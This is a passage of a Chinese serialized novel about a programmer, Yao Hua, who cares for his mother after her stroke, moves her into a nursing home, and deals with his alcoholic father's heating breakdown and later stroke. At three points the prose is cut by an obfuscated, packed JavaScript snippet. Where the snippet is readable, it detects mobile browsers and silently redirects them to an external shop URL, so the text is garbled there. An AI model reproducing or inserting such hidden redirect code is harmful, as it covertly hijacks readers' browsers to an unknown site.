第三天,他学会了怎么换尿不湿。怎么把成人纸尿裤展开,怎么托起母亲的腰,怎么垫进去,怎么贴好胶条。第一次做,做了二十分钟,做完一身汗,汗是凉的。隔壁床的女儿看着,说:“熟练了就好了。我第一次给我爸换,换了半个钟头,还弄了一床。”她说这话时在笑,笑里有一种认命的东西,像盐坨村的土,怎么浇都长不出好庄稼。 第四天,姚华开始跟走廊里其他家属聊天。有个大姐,丈夫脑瘤,手术后瘫了,在这儿住了半年。 “半年?”姚华问,“一直住走廊?” “哪能啊。”大姐说,“住了一个月走廊,才排进病房。病房里也是三人间,挤得很。” “那……能好吗?” 大姐看他一眼,那眼神姚华后来记了很久——像看一个不懂事的孩子,又像看从前的自己。“好?能活着就不错了。像我们这种,能自己喘气,能喂进去饭,就算好了。” 第五天,张玉芬突然说话了。那天姚华在喂米糊,喂得很慢,一勺一勺。喂到第五勺时,张玉芬看着他,很清晰地说: “拖累你了。” 姚华手一抖,勺子掉地上。米糊洒床单上,白花花一片,慢慢晕开,像一朵苍白的、正枯萎的花。他捡起勺子,手在抖,抖得拿不住,又掉了。他想说“不拖累”,想说“应该的”,想说“您别这么说”。但话卡在喉咙里,像鱼刺,咽不下去,吐不出来。 最后他说:“您吃吧,凉了。” 张玉芬看着他,眼里有水光。但她没哭,只是眨了眨眼,把眼泪眨回去。那动作让姚华想起盐坨村的夏天,母亲在院子里晒被子,拍打灰尘,灰尘在阳光里飞,她眨眨眼,继续拍。 那天晚上,姚华坐塑料椅上,看窗外月亮。月亮很圆,很亮,亮得不像话。月光照进走廊,照在那些床上,照在那些睡着的人脸上。他想,这些人,这些躺在走廊里、病房里、医院里各个角落的人,他们都曾是谁的儿子、女儿、父亲、母亲。他们都曾有自己的生活,自己的念想,自己的悲欢离合。现在他们都躺在这里,等着好起来,或者等着死。而他们的家属,像他一样,坐在这里,陪着,熬着,等着。 等着下一个天亮,等着下一次喂饭,等着下一次翻身,等着下一次医生说“有好转”或者“不乐观”。 等着,就是全部。 走廊那头,隔壁老爷子又开始哭了。这次哭得小声,像猫叫,又像风吹过盐坨桥下的芦苇。 他女儿爬起来,给他翻身。翻身的动作很熟练,一托,一转,一垫。做完,她坐床沿上,看父亲,看了很久。然后她低下头,肩膀开始抖。没有声音,只是抖,抖得像秋天树上的最后一片叶子。 姚华移开目光,看窗外。月亮还在那儿,亮堂堂的,照着这个满是哭声和叹息的夜晚。他突然想,月亮看这些人看了多少年了?看了多少生老病死,看了多少悲欢离合?它会不会也看累了? 不知道。 18. 第十八章 福寸康宁 几个月后,张玉芬从康复医院出来了。病前她和姚华咬牙贷款买的限价房,如今还是个图纸上的影儿。姚华得挣钱还贷,一天假都不敢请,实在没法子,只得给母亲寻了个养老院。 院名叫“福寿康宁”。四个金字镶在粉墙上,太阳一照,晃得人眼晕。姚华在门口立了半晌,瞧见“寿”字缺了一撇,成了“寸”,也没人补。风一吹,剩下的半拉金箔颤巍巍的,随时要掉下来的样子。 他推着轮椅,轮子有点歪,在水泥地上磨出滋啦滋啦的响声,像钝刀子割麻袋。张玉芬歪在轮椅上,半眯着眼,对这声音早已习惯——就跟习惯医院的消毒水味儿、走廊里此起彼伏的叹气声一样。 院长姓王,中年女人,一头卷发烫得密匝匝的,每颗卷儿都像算盘珠子。她穿着深蓝色化纤套装,一动就窸窣响。工牌别在胸前,照片里的她年轻些,笑得规规矩矩。此刻她没笑,说话快得像撒豆子:“每月三千四,包床位、三餐、基础护理。洗澡每周二、四,洗衣每周三。” 她说话时眼没看姚华,先瞥轮椅,再瞥轮椅上的张玉芬,最后才扫到姚华的袖口。姚华身上那件夹克穿了五年,拉链坏了一半,只能拉到胸口。右边袖口磨破了,白线头露出来,沾了灰,黑黢黢的。他下意识把手往后缩,这一缩反倒更扎眼了。 “押金五千。”王院长接着说,“当月费用提前交。一号到五号缴费,超了收滞纳金,每天千分之五。”她顿了顿,让数字在空气里沉一沉,“探视下午两点到五点,其他时间不进。特殊情况得申请。” 姚华跟着她往里走。走廊长得望不到头,两边房门敞着。有的屋里传出电视声,老剧的对白夹着罐装笑声;有的是咳嗽声,干涩带痰,一声接一声,像永远咳不干净;还有种说不清的动静——像叹息,又像呻吟,更似无意识的呜咽,从喉咙深处挤出来,连自己都未必察觉。 空气里有味道。消毒水打底,盖不住尿臊气,尿臊里又混着老人味儿——像旧书柜、陈年药材、返潮的棉絮。几种气味搅和在一起,成了养老院独有的气息。 “三人间,靠窗那张床刚空出来。”王院长高跟鞋敲着地砖,哒、哒、哒,一步一响。她背影挺得直,可姚华瞧见她裤腿后面起了毛球,密密层层的。“上个月走的,脑梗。七十六,在这儿住了三年。”她说得平常,像说“这屋上个月退租了”。“床单被罩都换新的了,放心。” 她说“放心”时,回头瞅了姚华一眼。那眼神姚华熟——在医院、康复中心、每一个要掏钱的地方,他都见过。那眼神在说:我知你不易,但规矩就是规矩。 房间在三楼尽里头。门牌307。推开门,先撞进来一束光——下午的光从窗户斜进来,照在水泥地上,地上水渍未干,拖把拖过的痕迹一道一道的。 三张铁架子床,漆成白色,如今泛了黄,像老旧的牙。靠窗那张空着,铺着蓝白格床单,确是新的,但布料薄,透出底下垫子的纹路。 左边床上躺着个老太太,瘦得像一把枯柴,被子盖着,几乎看不出起伏。她睁着眼,直勾勾盯着天花板。天花板上裂了道缝,像地图上的河。她一动不动,只有眼皮偶尔眨一下,证明还活着。 右边床上坐着位,头发梳得溜光,在脑后挽了个髻,罩着黑网兜。她正对着一面小圆镜抹雪花膏,镜背的牡丹花磨得差不多了。她抹得仔细,一寸一寸,从额头抹到下巴。 “李姨,来新人了。”王院长喊了一嗓子。 抹雪花膏的老太太转过头。脸煞白,不是健康的白,是常年不见太阳那种,白里透青。她上下打量张玉芬,又打量姚华,目光像把尺,量着他们的家底。 “哟,这是咋了?”她问,声音尖细,像指甲刮玻璃。 “脑出血,术后恢复期。”王院长说,“以后你们就是室友了,互相照应着点。”这话她说得顺溜,像背台词。 张玉芬歪在轮椅上,口水又流下来,滴在胸前的围兜上。围兜是姚华用旧毛巾改的,边角都毛了。姚华赶忙拿纸巾擦,纸巾是最便宜的那种,薄,一擦就破,纸屑沾在围兜上。 李姨看着,没说话,转回去继续抹雪花膏。抹完,她把镜子收进抽屉,抽屉吱呀一声——里面塞满了药瓶、梳子、半块肥皂、几根皮筋。 王院长开始念细则,一条一条,像念律法。姚华听着,心里却在算账:三千四一个月,一年四万零八百。工资扣完社保公积金,到手五千二。房贷每月两千四,那是十年前买的房子,四十六平,老小区六楼,没电梯。还完房贷剩两千八。两千八减去三千四,倒贴六百。 这六百,像心口一道裂璺,越裂越深。 “那个……”他打断王院长,声音有点虚,“能……按月交不?” 王院长看他一眼,眼里有什么闪了闪,像计算器归零前那一下。“一般都季付,交三个月。不过你家情况特殊,”她顿了顿,“可以月付。但得一号准时交,不能拖。拖一天,滞纳金十七块。” “肯定不拖。”姚华说,说得飞快,像怕自己后悔。 手续办了一个多钟头。签了七八张纸,每张都要签名、按手印。合同纸薄,背面的字透过来。红印泥质量差,粘糊糊的,塑料盒边结了痂。姚华按手印时用力猛了,红泥渗进指纹里,擦不掉,像血。 最后交钱,姚华从背包里掏出一个牛皮纸信封。信封磨得发毛,四角卷边,正面印着“环湖医院”——上次出院装病历用的,他舍不得扔。 他数出三千四百块,百元钞新旧不一。三张挺括,刚从取款机出来的;别的皱如咸菜,不知在口袋里揣了多久。他数得慢,一张一张,数到第三遍,王院长伸手接了过去。 “我自己数。”她说。 她用拇指食指捏着钞票,一张张捻开,捻一张,蘸一下唾沫。办公室里静,只有钞票沙沙响和她蘸唾沫时轻轻的咂嘴声。数完一遍,又数一遍。 “对了。”她把钱放进抽屉,抽屉上锁,钥匙串在腰带上,叮当响。“钥匙押金一百,退院时还。钥匙丢了,押金不退,还得赔五十。” 姚华又掏出一百。这张更旧,中间一道折痕,快断了。王院长接过去,对着光看看水印,才收下。 办完,已是下午三点多。姚华推母亲回房间,抱她上床。床硬,垫子薄,手一按,能摸到底下的木板条,一根一根,间距宽。张玉芬躺下,头陷进枕头里,枕头填充物不均,一边高一边低。 她望着窗外。窗外有棵槐树,叶子掉光了,枝杈光秃秃的,像老人的手骨。树枝上挂了个白塑料袋,被风吹得鼓了又瘪,瘪了又鼓。 “妈,我每周三、周六来看您。”姚华低声说,“周三请半天假,周六全天。” 张玉芬眨眨眼。右眼皮眨得慢,左眼皮几乎不动,是后遗症。 “有事就叫护士。床头有呼叫器,红色按钮。”姚华指了指墙上按钮,按钮周围一圈黑,是无数只手按出来的油污。 张玉芬又眨眨眼。 旁边床的李姨忽然开口——她不知何时已躺下,侧身看着他们。“小伙子,你妈能说话不?” “能说,但慢。”姚华说,“得一个字一个字挤。” “哦。”李姨凑近些,两张床相距不到一米。她细瞧张玉芬的脸,像瞧一件物件。“可怜见的。我姓李,七十六了。那个是赵姨,”她指指左边床上一动不动那位,“八十三,老年痴呆,不认人。你跟她说话,她也不理你。” 姚华点头:“李姨,麻烦您多照应。” “照应啥呀。”李姨笑了,露出镶金的门牙,金牙已发黑,像锈了。“都是等死的人,互相做个伴呗。”她说得轻巧,像说“今天吃米饭”,说完翻身背对他们。 姚华又待了会儿,给母亲喂水。水是白开水,装在塑料杯里。他托起母亲的头,一点一点喂。张玉芬吞咽困难,喉结动一下,要停好几秒。喂完水,又给她擦脸,用自己的毛巾,毛巾已硬了,洗得发白。 要走时,张玉芬突然抓住他的手。手没力气,但抓得紧,手指蜷着,指甲长了,姚华还没顾上剪。 “上……班。”她一个字一个字往外挤,“别……耽误。” “嗯,不耽误。”姚华声音有点哽。 张玉芬松手,闭眼。眼皮颤着,像蝴蝶翅膀,停不下来。 走出房间,姚华在走廊站了会儿。走廊那头有老人在唱戏,跑调跑得厉害,但起劲。是评剧,《秦香莲》选段。 “秦香莲我三十二岁夫啊……抛妻子弃儿女你你你心何安……” 声苍老,嘶哑,像破风箱,每唱一字喘一下。唱到高音突然断了,变成一阵咳,咳完又接上。 走廊墙裙刷绿漆,漆已剥落,露出灰泥。墙上贴着宣传画,画上老人笑容满面,围坐做手工。画褪了色,笑容模糊了,像蒙了层雾。 姚华慢慢往外走。楼梯是水泥的,没贴砖,台阶边沿被磨得圆滑。下楼时,碰见护工推餐车上楼,餐车上摆着不锈钢饭盆,盆里是糊状物,灰扑扑的,辨不出是什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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开门,屋里暗。他没开灯,径直走到沙发边坐下。一坐下就想起这屋子曾有人上吊的事儿,也不知自己往后会不会步那后尘。 晚上,他煮了面。一把挂面,几片青菜,打了一个鸡蛋。鸡蛋是超市特价的,十块钱三十个,蛋壳薄,一磕就破。他吃着面,没滋味,但还是吃完了。吃饭是为了活着,活着是为了挣钱,挣钱是为了交养老院的钱。 这逻辑清楚,像一条直路,路上没风景,只有尽头。 吃完洗碗,他坐在沙发上发呆。屋里静,能听见楼上冲马桶、隔壁电视响。这些声音提醒他,这楼里住满了人,各有各的难。 他想母亲,想她躺在养老院床上的样子,想她歪着的头、流着的口水、用左手写的歪扭字。 “怕……忘了。” 母亲说这话时,眼里有恐惧。那恐惧姚华懂——不是怕死,是怕忘了自己是谁,忘了儿子是谁,忘了这一生怎么过的。 他起身,走到书架前。架上没几本书,多是工具书,还有几本旧杂志。最下层放着一个铁盒,盒上印着喜鹊登梅,漆已斑驳。 他打开盒子,里头是旧物:几张照片,几封信,一本笔记本。照片是黑白的,已发黄。有一张是母亲年轻时,站在盐坨桥边,身后是白花花的盐山。她扎两条辫子,笑得灿烂,牙很白。 盐坨村。姚华很久没回去了。 姚华考上大学那年终于离开盐坨村,母亲把攒了半辈子的钱拿出来,包在红手绢里,手绢洗得发白。她数了三遍,八千六百块。 “够不?”她问。 姚华点头:“够了,还有助学贷款。” 母亲松口气,把手绢包塞进他手里。“好好学,别像妈一样。” 他没像母亲一样在中学门口卖卷子为生。他学了计算机,进了城,找了工作,前阵子刚贷款买了个限价房。他以为这叫出息,叫让母亲享福。 如今母亲躺在养老院床上,一月三千四。 他拿出那张照片,看了很久。照片上的母亲那么年轻,那么有活气,眼里有光。现在的母亲,眼浑了,光没了。 他把照片放回盒子,盖上盖。铁盒轻,拿在手里却沉甸甸的。 睡前,他定了闹钟。明早七点起,八点上班。上班不能迟到,迟到扣五十。五十块,够母亲在养老院吃两天饭。 躺床上,他睡不着。天花板上有道裂缝,和养老院天花板上那道很像。他看着裂缝,想起李姨那句话: “都是等死的人,互相做个伴呗。” 说得那么坦然,那么认命。好像等死是件再自然不过的事,像等公交,等下雨,等天亮。 他翻个身,脸埋进枕头。枕头有股味儿,是洗不掉的汗味,混着廉价洗发水的香。 迷迷糊糊中,他做了个梦。梦见盐坨村。母亲在村路上走,走得很慢,背影佝偻。他喊:“妈!”母亲回头,脸上却没有五官,只剩一片空白。 19. 第十九章 屎山代码 电话是老刘从盐坨村小卖部打来的。深秋,姚华正在公司调试一段“屎山代码”——程序员都懂,就是那种改一行错十行、谁碰谁骂娘的陈年玩意。这代码堆在那里,像极了某些日子,拆不得,修不好,只能凑合着过。 手机震动时,光标正卡在一行报错的函数上。 “姚华不?我老刘。你爹让喊你一趟,说暖气不热了。” 姚华心里一沉。电话那头哗啦啦的,像是在打麻将。 “冻得直哆嗦,”老刘补了一句,“裹着被子还抖呢。” 姚华盯着屏幕,那行错误红得扎眼,像生活冷不丁跳出来的提示框。他起身去敲戴经理的门。 “进。” 戴经理没抬头,在看报表。 “请半天假,家里有事。” “这月第几回了?”眼镜滑到鼻尖。 “第三回。” “事假扣钱啊。” “知道。” “去吧。”戴经理摆摆手,“明天活儿可不少。” 关门时听见里头嘀咕:“三十好几了,家里事儿还没断档。” 姚华没接话。门轻轻合上,里头外头,两样世界。 得倒两趟公交。头一趟挤,脸贴玻璃,看见自己鬓角钻出几根白的。忽然想起父亲下岗那年——那时觉得父亲窝囊,现在懂了,窝囊这玩意儿,也遗传。 第二趟车空些。望海楼、中山路、二中……高楼渐次矮下去,矮成平房,平房又褪成荒地。盐坨村像是城市嚼剩的渣,黏在城乡结合部,吐也吐不干净。 小卖部的可口可乐招牌褪成了粉白色。老刘在门口下棋,抬抬下巴:“赶紧去吧,屋里冰窖似的。” 土路雨后没干透,踩上去吧唧吧唧响。两边屋顶塌了角的,拿塑料布蒙着。有户人家还在生炉子,老太太蹲着扇风,烟熏得她直咳嗽。 姚建国的红砖房在尽里头。砖缝的水泥脱落了,露出一个个黑窟窿。窗玻璃碎了一块,拿报纸糊着。铁门锈得厉害,一推吱呀呀响,像老人松动的关节。 屋里比外头还冷。寒气裹着霉味、酒气、老人气,混成一股说不清的味儿。姚华在门口站了会儿,等眼睛适应昏暗。 父亲裹着那床牡丹花棉被坐在床上,被面脏得花色都模糊了。 “爸。” 姚建国转头转得慢:“来了啊。” “暖气哪儿坏了?” “不知道。” 姚华伸手摸了摸暖气片,冰手。接口处渗着水,地上积了一小滩。 “漏了。” “哦,那修修吧。”父亲说。 翻通讯录才发现,根本没存修暖气师傅的号。打给老刘,老刘说村口老张家的儿子会弄。十分钟后,三轮车突突来了。 师傅一进屋就皱鼻子:“这味儿。” 检查完了说:“管道老化了,得换一截。三百。” “三百?”姚建国先开口,“忒贵了。” “嫌贵您自己修。”师傅敲敲管道,“这儿窄巴,不好下手。” 姚华咬咬牙:“修吧。” 叮叮当当的响动里,姚华打量这间十五平米的屋:一张床,一张桌,一把椅。桌上堆着空碗、半瓶酱油、开封的咸菜袋。地上齐刷刷摆着七个二锅头空瓶,像列队的兵。 墙角的煤炉是冷的,蜂窝煤潮得掉渣。 师傅边干活边念叨:“老爷子,得通通风,霉气了。” 姚建国望着窗外,不说话。 “酒也少喝,越喝身上越寒。” 还是没应声。 姚华想起银行家属楼的冬天。那时暖气也坏过,母亲自己找人修,手都冻僵了。父亲晚上喝多了,一脚踹在暖气片上——又漏了。他那时小学三年级,缩在被窝里听吵架,听水滴声:嗒,嗒,嗒。 “来,搭把手。”师傅喊他。 姚华扶住管子,冰得手发麻。他没松。 约莫一个钟头,活儿干完了。暖气片慢慢热起来,散出一股铁锈味儿。 “三百。”师傅说。 “有钱还你。”父亲对姚华说。 姚华想说不用,话卡在喉咙里。他望着父亲——皱纹深得像用刀刻的,头发稀白,像秋后的草。眼睛浑浊,没光,像两口枯井。 “吃饭了没?” “吃了。” “吃的啥?” “面条。” 姚华瞥了眼桌上的咸菜,没再问。转身去小卖部买了新被褥、米面油、还有熟食。老刘一边装袋一边说:“你爸上个月差点把房点了,暖气不行他就生炉子,火星子蹦被子上,烧了个窟窿。” 姚华没接话,数钱。 回屋换被褥。旧被子一掀,一股馊味冲上来。被里子硬得跟板儿似的。 “多久没晒了?” “忘了。” 新被子铺平,四个角抻舒展。炸花生米还脆着。 “吃点。” “贵吧?” “特价的。” “特价的不新鲜。” “新鲜的。” 姚建国捏起几粒花生米,慢慢嚼。牙不行了,嚼得像老牛反刍。 姚华坐在椅子上看父亲吃。暖气热了,玻璃上蒙了一层水汽。天暗下来了。 “你妈……”姚建国突然开口,说了两个字,停了。 姚华等着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119426|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你妈……”他又说,还是没后半句。低下头盯着花生米,看了好半天,塞进嘴里继续嚼。 母亲生病、住院、住进养老院,父亲从没问过。现在问了,却问不成句。 “妈挺好,在养老院,有人照应。” “哦。” “一个月三千四。” “哦。” “我每周去看两回。” “哦。” 三个“哦”,像三块小石头扔进枯井里,没个回声。 姚华站起身:“我走了,明天还上班。” “走吧。” 手放在门把上,铁锈的凉透进骨头里。回头,父亲裹着新被子坐着,背影小得像个孩子。 “爸。” “嗯?” “少喝点。” 姚建国没回头,只摆了摆手。 门哐当一声关上,像什么东西断了。 姚华在门外站了会儿,没挪步。村里没路灯,零星窗户透出点光。远处狗叫了两声,又停了。 他点了一支烟。烟头在黑暗里一亮一灭。 想起唯一一次,父亲清醒着带他去北宁公园。公交票四毛,冰棍五分。冰棍化了滴在手上,父亲拿袖子给他擦。 那天父亲说了什么?记不清了。只记得湖面上金光闪闪的,像撒了一把碎玻璃。 后来父亲下岗了,喝酒,砸电视。搬来盐坨村,上了盐坨村小学,人生就这么拐了弯。 如果没搬过家,如果还住在“银行里”家属楼,如果上了星星小学……如果。 可生活里头,哪有如果,只有结果。 现在的结果是:母亲在养老院,父亲在盐坨村,自己在还房贷。三个人,三个地方,三条怎么也交不上的平行线。 烟抽完了。踩灭烟蒂,土路还是吧唧吧唧响。路过那户生炉子的人家,炉子还冒着烟,老太太已经进屋了,窗户里传出新闻联播的开头曲。 在村口等末班车,得等半小时。 站牌下望着远处的城市。高楼灯火一片,像星河,亮堂堂的,好看,也远。 远得够不着。 像父亲没问完的“你妈……”,像母亲歪歪扭扭的字,像自己调不通的屎山代码——总是差那么一点儿。 差一点儿问完,差一点儿写正,差一点儿调通。 就这么一点儿,便是一辈子。 车来了。投币,上车。只有他一个乘客。司机放着歌:“曾经年少爱追梦,一心只想往前飞……” 坐最后一排,靠窗。玻璃上映出张模糊变形的脸。 有点像父亲年轻时的样子。 他闭上眼,不看了。 20. 第二十章 酒精脑 姚建国犯病,是在一个星期三的早晨。照例去村口老刘那儿打散装酒。老刘递过酒提子,姚建国的手却像风里的树叶,抖得对不准瓶口,酒洒了一地。老刘瞅着那手,说:“老姚,您这手……”姚建国舌头在嘴里滚了半天,含糊道:“天冷,哆嗦。” 钱是掏不出来了。手指头仿佛不是自家的,伸进兜里,只摸出一团混沌。最后还是老刘从他兜底抠出张皱巴巴的五块钱——那钱皱得,像是已经在兜里住了三五年。 回家的路,二百米,他走了十分钟。左腿在身后拖着,像捆了半袋水泥。路上碰见捡破烂的老孙头,老孙头喊:“建国,又打酒去啦?”姚建国张了张嘴,只发出“啊……啊……”的声响,一道口水顺着嘴角流下来,他用手背去抹,抹了半袖子。 老孙头觉得不对劲,跟到了他家门口。正看见姚建国在摸钥匙,摸来摸去摸不着,钥匙“当啷”掉在地上。他弯下腰去捡,整个人就像一口倒空的麻袋,直挺挺栽了下去。 姚华接到电话时,正在会议室里听戴经理讲下季度指标。电话响了三遍,前两遍都打错了,打到卖保险的那儿。卖保险的倒耐心,说:“先生,您父亲这个情况,我们有一款产品……”姚华说:“打错了。”那边还说:“不考虑一下吗?意外险现在有活动……”姚华把电话挂了。第三遍,老孙头在那头喊:“你爸摔了,快来!”声音像是从一口破锣里敲出来的。 赶到时,救护车已经在了。两个白大褂正把姚建国往担架上搬。姚建国还在扭动,嘴里呜噜着:“酒……我那酒……”地上果然躺着个摔碎的玻璃瓶,劣质白酒的气味横冲直撞,钻进每个人鼻子里——那气味浓得,像是要把空气也腌成酒糟。 第四医院急诊室。医生看完检查单,把姚华叫到一旁:“脑梗,得做CT。” CT室在二楼。姚建国被推进那个白色的圆环里,像送进传送带的包裹。机器嗡嗡地转,一圈,又一圈。姚华隔着玻璃看,忽然想起超市扫码的柜台——货物放上去,“嘀”一声,价钱就出来了。人放上去,嗡嗡响,病就出来了。只是货物的价钱明码标价,人的病价,从来算不清楚。 片子半小时后贴在灯箱上。黑白图像里,几团阴影晕开着,像滴在草纸上的墨点子,不大,却这里一点,那里一点——像是哪个顽童拿毛笔随手甩的。 医生用笔尖点着那些芝麻大小的暗处:“这儿,这儿,还有这儿。多发腔隙性脑梗死。” “要紧吗?” “这次算捡着。”医生顿了顿,看他一眼,“酒,一滴都不能再沾。再沾,下回就是大片梗死,或者出血,人可能直接就没了。”医生说话有个特点,说到“没了”时,声音会低下去,像是怕吓着谁,又像是已经说累了。 姚建国这时被护士推回来,坐在轮椅上,右脸有点往下耷拉,精神倒像还行。“大夫,我没事吧?” “有事。”医生把片子转向他,“看见没?这些黑点,都是死掉的地方。再喝,下次死的就不止这点地方了。” 姚建国眯着眼,瞅了半天,竟笑了:“我当是啥。这就是喝多了,脑仁儿有点木。年轻那会儿,一斤半下去,照样扛麻袋。” 医生不接他话茬,转向姚华:“住院,至少一周。家属办手续去。” 病房是三人间,姚建国靠门。隔壁床是个七十多的老头,也是脑梗,比姚建国重——话说不出一句,右边身子全瘫了,鼻子里插着管子往里灌流食。那流食的颜色,让人想起婴儿的辅食,只是喂的人老了,吃的人也老了。 姚华向戴经理请年假。五天,加两头周末,一共九天。戴经理笔尖戳着请假条,脸拉得老长:“姚华,你这假,是不是太勤了点儿?” “我爸脑梗,住院。” “脑梗……”戴经理在纸上签了名,力透纸背,“行。回来加班补上。” “知道。” 头一天输液,姚建国还算消停。护士来扎针,他伸出左手。手背上的血管躲躲藏藏,护士拍了好几下才敢下针。针进去时,他眉头拧了拧,没吭声——不是不疼,是疼惯了。 药水一滴,一滴,往下坠。姚华看着那透明的液体顺着软管爬进父亲的身体里,忽然想,这东西能冲掉他脑子里的黑点吗?像冲下水道似的,哗啦一下,全干净了? 恐怕不能。要是能,医院早该开个“脑水管疏通”科,专治各种想不开和喝太多。 隔壁床的老头这时呜咽起来,声音闷在喉咙里,像受伤的野狗。他儿子忙俯过去:“爸,咋了?”老头说不出,只是流泪,眼泪顺着深刻的皱纹沟壑,流进了耳朵眼——那耳朵眼,怕是这辈子都没接过这么多水。 姚建国看了很久,忽然哑着嗓子问:“我往后……不会也成这德行吧?” 姚华没接话。有些问题不需要答案,因为答案就摆在隔壁床上。 第二天,姚建国就躁起来了。输液太慢,一瓶要耗三四个钟头。他在床上翻来覆去,像煎饼铛上的饼。“这得输到猴年马月?” “还有两瓶。” “两瓶?!”姚建国眼睛瞪起来,“这不是存心折腾人吗?” “治病都这样。” “治个屁病……”他嘟囔,“我压根就没病。” 午饭是医院食堂的盒饭,一荤两素。荤菜是红烧肉,但肉星星点点,大半是土豆。姚建国扒拉两筷子,撂下了。 “这是人吃的?” “将就吃吧。” “将就不了。”姚建国舔舔嘴唇,“我想喝口酒。” “不能喝。” “就一小口,抿一下。” “一口也不行。” 姚建国不吭气了,直勾勾盯着天花板。药水还在滴答,滴答,像是谁在数着所剩无几的时辰——只是数的人不急,被数的人也不急,急的只有那滴不完的水。 下午姚华出去买水果,回来时看见父亲正跟隔壁床的儿子搭话。那儿子穿着灰扑扑的工装,脸上带着倦意——那倦意不是一天两天的,是长年累月积下来的,洗都洗不掉。 “我爸这病,落下三年了。”那人说,“当初也是不听,非要喝。现在好了,话都说不出一句整的。” 姚建国听着,眼皮耷拉。 “您可得听劝。”那人又说,“这病,就怕复发。复发一次,就重一截,到最后……”话没说完,尾音散在满是消毒水味的空气里——消毒水能杀菌,却杀不掉这些话里的无奈。 姚华洗好苹果,削皮,切成小块,插上牙签递过去。姚建国嚼着,慢慢说:“甜。” “嗯。” “比我买那些甜。” “您净挑便宜的买。” “便宜咋了?”姚建国声调忽然提起来,“便宜苹果就不是苹果了?” 姚华闭上嘴,把剩下的苹果收进塑料袋,塞进床头柜。有些话争不出结果,就像便宜苹果到底是不是苹果——你说不是,他吃着也是那个味儿;你说是,他心里也知道不一样。 第三天,出事了。 上午液输完,姚建国说要上厕所。姚华扶他到门口,等着。等了十来分钟,没动静。姚华喊:“爸?” 没人应。 推门进去,厕所里空空如也。窗户大开着——这是一楼,窗外就是医院后街。 姚华脑子“嗡”地一声。他冲出去,在后街疯找。那条街挤满了小馆子、杂货铺、水果摊。最后,他在一家杂货铺门口看见了姚建国。 老头正坐在个小马扎上,手里攥着个透明塑料袋,袋子里晃荡着半斤左右的散装白酒。看见姚华,他先是一愣,随即咧嘴笑了:“你咋寻来了?” 姚华冲过去,一把夺过袋子。酒液泼溅出来,辣气刺鼻——那气味熟悉得可怕,像是从他记事起就弥漫在生活里的背景味。 “您这是干什么?!” “买酒啊。”姚建国说得天经地义,“嘴里淡出鸟了,难受。” “医生的话您都就饭吃了?!” “医生懂个屁!”姚建国站起来,腿脚还不利索,身子却挺着,“我喝了一辈子,阎王殿的门槛都让我踩平了,还怕这几滴马尿?” 姚华盯着他。盯着那张嘴角歪斜的脸,盯着那双浑浊发黄的眼,盯着他手里那袋称之为“酒”却实则是“命”的液体。 忽然间,三十八年的东西全涌到了喉咙口。银行宿舍。盐坨村小学的土操场。母亲越来越稀薄的白发。自己鬓角早生的霜。每月准时报到的房贷。手机里总也还不清的借呗。养老院那个三千四的床位。还有眼前这个,永远像滩烂泥,永远扶不上墙,永远在制造麻烦的老头。 “您知道您这辈子,毁了多少东西吗?”姚华声音平得出奇——平得像结了冰的河面。 姚建国懵了:“啥?” “房子。”姚华说,“从银行里搬到盐坨村,我念的那个破学校,您知道是啥样吗?” “我……” “我妈。”姚华继续说,“她卖了一辈子考试卷子,蹬了一辈子三轮,最后躺在养老院,您去看过一眼吗?” “我……” “还有我。”姚华指指自己,“三十八了,没成家,没孩子,欠一屁股债。为啥?得给您擦屁股,得给我妈交那份养老钱。” 姚建国嘴唇哆嗦着,说不出话——不是不想说,是话堵在嗓子眼,像塞了一团湿棉花。 “现在你病了,脑子都梗了,医生说再喝下次就没了。”姚华看着父亲,“您倒好,溜出来买酒。您是不是觉得,你死了,我们反倒清净了?” 这话太重。姚建国脸霎时灰白,嘴唇抖得像风里的纸:“你……你说啥?” “我说,”姚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这叫没事?!”护士扯他去处置室。消毒水淋上去,他眉头都没动。纱布缠了一层又一层,最后系了个紧实的结——那结打得漂亮,像个小小的蝴蝶,只是这蝴蝶停在伤口上,不是为了美。 “这两天别碰水。” “嗯。” 病房里,姚建国已经面朝墙壁躺下了。液体重新挂上,一滴,一滴。 姚华坐在椅子上,看父亲的背影。如今瘦削了,佝偻了,病号服下脊骨的形状清晰可见——那一节一节的骨头,像是能数出来他这辈子的年岁。 累。累得连叹气的力气都没有。 隔壁床的老头又哭了。这次声音大了些,“啊啊”的,像是在呼喊什么。他儿子慌忙去哄:“爸,不哭,不哭啊……”哄不住,哭声在安静的病房里显得格外瘆人。护士来了,推了一针镇静,才渐渐平息——平息得像从来没闹过,只是那针的代价,是更深的沉睡。 姚建国的液输完了。护士来拔针。针头离开皮肤时,他“嘶”地吸了口凉气。 “疼?”护士问。 “嗯。” “疼就记着。”护士收拾着输液管,“记着这疼,别再干让自己更疼的事。” 姚建国没应声。有些话听着有理,但人要是能因为疼就记住不做蠢事,这世上早没医院了。 护士走了。窗外,天黑透了,路灯的光晕黄地渗进来——那光晕黄得,像是旧照片的颜色。 姚华起身:“我去买饭。” “华子。”姚建国叫住他,依旧背着身。 “嗯?” “那酒……”姚建国喉咙滚了滚,“我就闻了闻,没喝。” 姚华在门口站住了,站了很久。 “嗯。” 他带上门,轻轻合上。 走廊里消毒水的气味浓得化不开。他走到窗户边,点了支烟。手上的纱布白得刺眼,血渍从边缘渗出一点,像朵小小的锈花——那花开在纱布上,不结果。 他想CT片上那些芝麻大的阴影。想医生那句“下次就没了”。想父亲摔药瓶时那句“死了干净”。想自己流血的手,和滴在药片上暗红的血。 